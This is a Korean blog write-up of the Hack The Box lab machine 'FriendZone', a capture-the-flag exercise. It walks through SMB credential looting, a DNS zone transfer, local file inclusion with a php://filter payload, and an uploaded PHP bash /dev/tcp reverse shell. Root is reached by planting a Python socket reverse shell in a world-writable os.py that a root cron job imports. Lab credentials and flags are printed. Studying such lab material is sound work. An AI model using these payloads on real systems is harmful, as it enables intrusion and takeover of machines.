-
[HTB] FreindZone WriteupWargame/Hack The Box 2022. 2. 16. 18:56
nmap -sC -sS -sV -O -p- -o scanResultFull.txt 10.129.1.225
smb에 접근이 가능한것으로 보여 탐색을 해보았다. general 디렉토리에 읽기 권한, Development에 읽기, 쓰기 권한이 있음을 확인했다.
smbmap -H 10.129.1.225
general 디렉토리에 cred.txt라는 파일이 있어서 확인해보았다.
smbclient //10.129.1.225/general get creds.txt general_creds.txt
계정/패스워드 정보가 있었지만 ssh 접속 정보는 아니었다. 기억해두도록 하자.
admin:WORKWORKHhallelujah@#
Development 디렉토리에는 현재 파일이 존재하지 않았다.
그 외 기타 포트에 대한 취약점을 공부해봤지만 유효한것이 없었다. 그래서 결국 DNS Zone Transfer 공격이 유효한지 확인해보았다.
우선, 10.129.1.225 사이트 하단의 정보와 nmap 결과 443포트에서 나타나는 정보를 기반으로 Zone Transfer 를 확인해보았다.
# from webpage(80 port)'s bottom host -l friendzoneportal.red 10.129.1.225 > ZoneTransfer.txt # from nmapResult(443 port) host -l friendzone.red 10.129.1.225 >> ZoneTransfer.txt
여러 서브도메인이 확인되어 /etc/hosts 에 반영하였다.
http, https 에 해당 서브도메인들을 확인해보다가 아래와같은 페이지를 발견했다.
다른 관리자페이지를 확인하라는 메시지가 있어서 아래 페이지에 접근해보았더니 로그인창이 확인되었다.
이전에 smb를 통해 얻은 계정 정보를 입력하니 로그인에 성공했다.
default 값을 입력해보니 아래와 같은 페이지가 나타났다.
처음에는 image_id 파라미터에 lfi공격을 시도해보았는데, 유효하지 않아서 pagename 파라미터를 대상으로 공격을 수행해봤다.
dashboard를 입력하자 아래와 같이 반복적으로 dashboard페이지가 출력되어 유효함을 확인 할 수 있었다.
아래와 같이 base64 형식으로 출력하여 소스코드 내용을 확인 할 수 있었다.
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard
<?php //echo "<center><h2>Smart photo script for friendzone corp !</h2></center>"; //echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>"; echo "<title>FriendZone Admin !</title>"; $auth = $_COOKIE["FriendZoneAuth"]; if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){ echo "<br><br><br>"; echo "<center><h2>Smart photo script for friendzone corp !</h2></center>"; echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>"; if(!isset($_GET["image_id"])){ echo "<br><br>"; echo "<center><p>image_name param is missed !</p></center>"; echo "<center><p>please enter it to show the image</p></center>"; echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>"; }else{ $image = $_GET["image_id"]; echo "<center><img src='images/$image'></center>"; echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>"; include($_GET["pagename"].".php"); //echo $_GET["pagename"]; } }else{ echo "<center><p>You can't see the content ! , please login !</center></p>"; } ?>
pagename 파라미터의 입력값에 .php를 붙혀 include하는 것을 확인하고 아래와 같이 쓰기권한이 있던 smb Development 디렉토리에 파일 업로드를 해주었다.
smbclient //10.129.1.225/Development put rs.php --> <?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.114/1234 0>&1'"); ?> nc -nvlp 1234
general이 /etc/Files 하위에 있는 것을 보고 Development의 실제 경로를 추측하여 호출 결과 리버스 쉘을 획득 할 수 있었다.
friend 라는 계정이 존재하는 것을 보고 friend라는 문자열이 포함된 파일들을 확인해보았다.
cat /etc/passwd find / | xargs grep -l "friend" 2>/dev/null
그 중 reporter.py 라는 흥미로운 파일이 있어서 기억해두기로 했다.
디렉토리를 조사하다가 mysql_data.conf에서 계정정보를 획득 할 수 있었다.
db_user=friend db_pass=Agpyu12!0.213$ db_name=FZ ssh friend@10.129.1.225
friend 계정으로 접속 후 root로 권한 상승을 하기 위해 이것저것 시도해보았지만 별 소득이 없었다.
그러다가 아까 발견했던 reporter.py가 cron으로 root권한으로 실행되고있지 않을까 하여 pspy를 통해 확인해보았다.
uname -a wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 python3 -m http.server 6338 wget http://10.10.14.114:6338/pspy64 chmod +x pspy64 ./pspy64
추측대로 루트권한으로 반복적으로 실행되고있음을 확인했다. 하지만 해당 파일을 수정할수는 없기때문에 해당 파일에서 import 하는 os.py에 대해 조사해보았다.
루트소유 파일이지만 777 권한으로 설정되어있음을 확인했다.
따라서 해당 파일 하단에 리버스 쉘을 실행시키는 구문을 추가해두면 아래와 같은 시나리오로 루트권한의 리버스 쉘을 획득 할 수 있을것이라고 생각했다.
root가 cron으로 반복적으로 reporter.py를 수행 ->
reporter.py 수행 과정에서 os.py import ->
import 과정에서 리버스쉘 실행
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.114",4321)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
위 시나리오가 유효하여 루트권한의 리버스 쉘을 획득 할 수 있었다.
FLAG =
[user] a9ed20acecd6c5b6b52f474e15ae9a11
[root] b0e6c60b82cf96e9855ac1656a9e90c7
반응형'Wargame > Hack The Box' 카테고리의 다른 글
[HTB] Forest Writeup (0) 2022.05.09 [HTB] SwagShop Writeup (0) 2022.05.08 [HTB] Networked Writeup (0) 2022.02.09 [HTB] Irked Writeup (0) 2022.02.07 [HTB] Sunday Writeup (0) 2022.02.06